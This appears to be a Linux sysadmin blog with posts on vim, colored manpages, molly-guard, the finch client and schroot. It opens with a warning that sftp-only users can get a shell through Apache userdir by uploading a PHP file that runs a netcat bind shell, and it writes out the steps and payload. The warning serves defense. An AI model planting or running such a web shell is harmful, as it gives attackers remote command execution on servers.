nion's blog

While I am not a fan of scponly/sftp-server (openssh) many people are still using it to give users the possibility to up/download files from the host without the need to provide them with shell access. If you do a simple setup like http://www.debian-administration.org/articles/94 or configure scponly without using a chrooted environment and you do this on host that also has a standard webserver setup (apache serving per-user home directories and php) you already lost.

The user won't be able to login with the username you gave him but he can remotely login via your webserver now. All that needs to be done is:

• Connect to the host using sftp


• $ mkdir public_html


• $ cd public_html; put index.php; chmod 644 index.php


• point your browser to http://host/~user/


• connect netcat to host:someport

index.php would just contain something like <? system("nc -lp someport -e /bin/sh"); ?> and you end up with a shell as www-data (on Debian).

It's pretty easy to make errors or miss important things in such a setup and I think it's almost always a better solution to either trust people and give them access via ssh or give them no access at all.

It's quite long ago since I last added a new macro to my .vimrc but today I saw a simple solution to use vim as a hex editor to edit binary files.

map <Leader>hon :%!xxd<CR>
map <Leader>hof :%!xxd -r<CR>

where Leader is ',' (defined by let mapleader="," ) and xxd is shipped in a vim installation.

I recently wrote how to use terminfo to get colored manpages.
Today ft came up with a nice feature of less which enables you to set termcap colors by environment variables.

Just use

export LESS_TERMCAP_mb=$'\E[01;31m'
export LESS_TERMCAP_md=$'\E[01;31m'
export LESS_TERMCAP_me=$'\E[0m'
export LESS_TERMCAP_se=$'\E[0m'
export LESS_TERMCAP_so=$'\E[01;44;33m'
export LESS_TERMCAP_ue=$'\E[0m'
export LESS_TERMCAP_us=$'\E[01;32m'

in your ~/.$SHELLrc to get the same effect without having a terminfo file.

And again for all the people writing "Install most and set it as PAGER", I know about this but using most because it has colors instead of less is just stupid since less has way more features most doesn't have. D'oh this sounds really strange

UPDATE: from strcat's comment. FOO_TERMCAP can be for all programs which compiled/linked with/against termcap. See man 5 termcap for definitions.

Yeah I now did an aptitude install molly-guard (I guess most sysadmins know this tool, thanks mika for the hint) after I
halt'ed modprobe.de by accident (Strato dedicated server). I was also able to reboot my file server at home 2 times last week because of.... ssh, well and of course bad shell prompts, inattention etc.

The tool is basically a replacement for halt, reboot and shutdown to prevent such accidents. To give you an impression what this looks like:

[root@bone] /home/nion/ halt
W: molly-guard: SSH session detected!
Please type in hostname of the machine to halt:

UPDATE from madducks comment:
Please note that etch's molly-guard has a bug that hits people running shutdown -h: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=426107.

I suggest to install version 0.3-1 from testing, which shall be in etch r2 soon.

Last Friday we had a small but pretty cool linux event at University. There was also a presentation about grml and when Valentin showed that the manuals on grml are in color there were alot of people saying "wow I want that too"

grml includes this feature since version 0.1 (thanks to Matthias Kopfermann who brought this up and had the initial idea) but alot of people don't know how that works (without using most as PAGER, most has some disadvantages over less).

So here is how it works:

$ mkdir ~/.terminfo/ && cd ~/.terminfo
Now get the terminfo description:
$ wget http://nion.modprobe.de/mostlike.txt
Now compile it using tic (the terminfo entry-description compiler)
$ tic mostlike.txt
(you may want to delete the mostlike.txt file after compiling)

And then just define an alias in the rc file of your favorite shell.
alias man="TERMINFO=~/.terminfo/ LESS=C TERM=mostlike PAGER=less man"

That's it!

If you want to modify the terminfo file, use infocmp mostlike to get the content of it later.

Today I took some time to test finch, the text-mode client of Pidgin.
Since Cicq is really buggy and if you look at the code in my opinion its obvious that it was konst's first bigger OpenSource project (he said this in an interview). Also CenterIM is not really an option for me as long as a huge part of the code base shares centericq code.

Finch comes with a nice Ncurses interface which looks totally different compared with most text-mode clients I know. It is like Pidgin ported to curses, you
have windows which pop-up if someone writes a message to you, you can move/close and resize them.

Thats somehow strange but looks cool:



The default window managment is somehow limited, but it is possible to write your own window management and there is also an example included.
From the protocol view finch is able to use AIM, Gadu-Gadu, GroupWise, ICQ, IRC, QQ, SIMPLE, Yahoo, Zephyr and MSN which should be enough for centericq users.

Compared with centericq one advantage is that you are able to configure keybindings via a text file (also colors etc.). Contact lists are not stored with directories like in centericq but with XML files.
Another good point is that chat logs are stored as plaintext, you are able to configure the sorting of your contacts and file transfers work. Offline messages and history buffers in conversations are shipped
as plugins. You also have a complete debug window where you can see for example the transferred XML in a jabber session, so you don't need a sniffer for debugging.

But there are also some drawbacks. For example you just have one input line, centericq was more like a (very bad) text-editor.
The biggest deficiency for me is that finch only works well in UTF-8 capable terminals and UTF-8 locales.
While that's the future it should support also non-UTF-8 environments. If you type some umlauts on non-UTF-8 for example and press enter, the program will segfault. If some developer reads this, http://paste.debian.net/27377 is the backtrace, I don't wanted to create an account in trac just for reporting a bug.
A quote from IRC:

16:19 < someguy> nion_: while that is a bug, it is not likely to change in the near future
16:20 < nion_> someguy: why not?
16:20 < someguy> nion_: because fixing it is hard, and not a priority
16:20 < someguy> nion_: patches would be welcome, I'm sure
16:23 < someguy> nion_: I think, currently, it's more in the "YMMV" category

Funny that this is the way people using a NETWORK client handle bugs.
I also don't really like the interface. Of course it looks cool but becomes inefficient over ssh (especially on slow connections) in my opinion because of too much redraws.

I am also not sure how stable finch really is, it also segfaulted when just running the wrapper script in pidgin-2.0.0/finch/finch after compiling. Running finch without actually installing it won't work (remember the version number of pidgin).

Since the interface of Pidgin is modular it would be nice to see additional interfaces in the future. At the moment I don't have the impression that finch is really stable and considering that Gaim^WPidgin was not famous for its security in the past (centericq also not) finch is not yet a real alternative for me.

Note to self: Installing build chroots on Debian quick&dirty (here testing and unstable).

Package: schroot
Description: Execute commands in a chroot environment

schroot allows users to execute commands or interactive shells
in different chroots. Any number of named chroots may be
created, and access permissions given to each, including root
access for normal users, on a per-group basis. Additionally,
schroot can switch to a different user in the chroot, using PAM
for authentication and authorisation. All operations are logged
for security.
.
Several different types of chroot are supported, including normal
directories in the filesystem, and also block devices. Sessions,
persistent chroots created on the fly from files and LVM snapshots
are also supported.
.
schroot also integrates with sbuild, to allow building packages with
all supported chroot types, including sessions.
.
schroot shares most of its options with dchroot, but offers vastly
more functionality.

$ apt-get install schroot cdebootstrap
$ mkdir -p /home/chroot/{sid,testing}
$ addgroup sbuild && adduser nion sbuild

$ cat > /etc/schroot/schroot.conf << EOF
[sid]
description=Debian sid (unstable)
location=/home/chroot/sid
priority=3
groups=sbuild
root-groups=root
aliases=unstable,default
run-exec-scripts=true
run-setup-scripts=true

[lenny]
description=Debian lenny (testing) 32-bit
location=/home/chroot/testing
priority=3
root-groups=root
groups=sbuild
aliases=testing,lenny
run-exec-scripts=true
run-setup-scripts=true
EOF

$ # the necessary setup apart from binding directories will be done by schroot now
$ # stable chroots are added in the same way

$ cat >> /etc/fstab << EOF
proc /home/chroot/sid/proc proc defaults 0 0
/home /home/chroot/sid/home none bind 0 0
proc /home/chroot/testing/proc proc defaults 0 0
/home /home/chroot/testing/home none bind 0 0
EOF

$ cdebootstrap --arch i386 testing /home/chroot/testing/ http://ftp2.de.debian.org/debian/
$ cdebootstrap --arch i386 sid /home/chroot/sid/ http://ftp2.de.debian.org/debian/
$ # you need to add (if you are not using unstable)
   Suite: lenny
   Config: sid
   to /usr/share/cdebootstrap/suites, unfortunatly it wasn't added before the etch release.

$ mount /home/chroot/sid/proc && mount /home/chroot/sid/home
$ mount /home/chroot/testing/proc && mount /home/chroot/testing/home

Et voila
$ schroot -c sid
build:~#

You don't need to be root to execute this and you have your home directory available in the chroot because of the mount bind.

The host used for bootstrapping is automatically added to your sources.list in the chroot but you need an apt-get update to install packages afterwards. Suggestions welcome.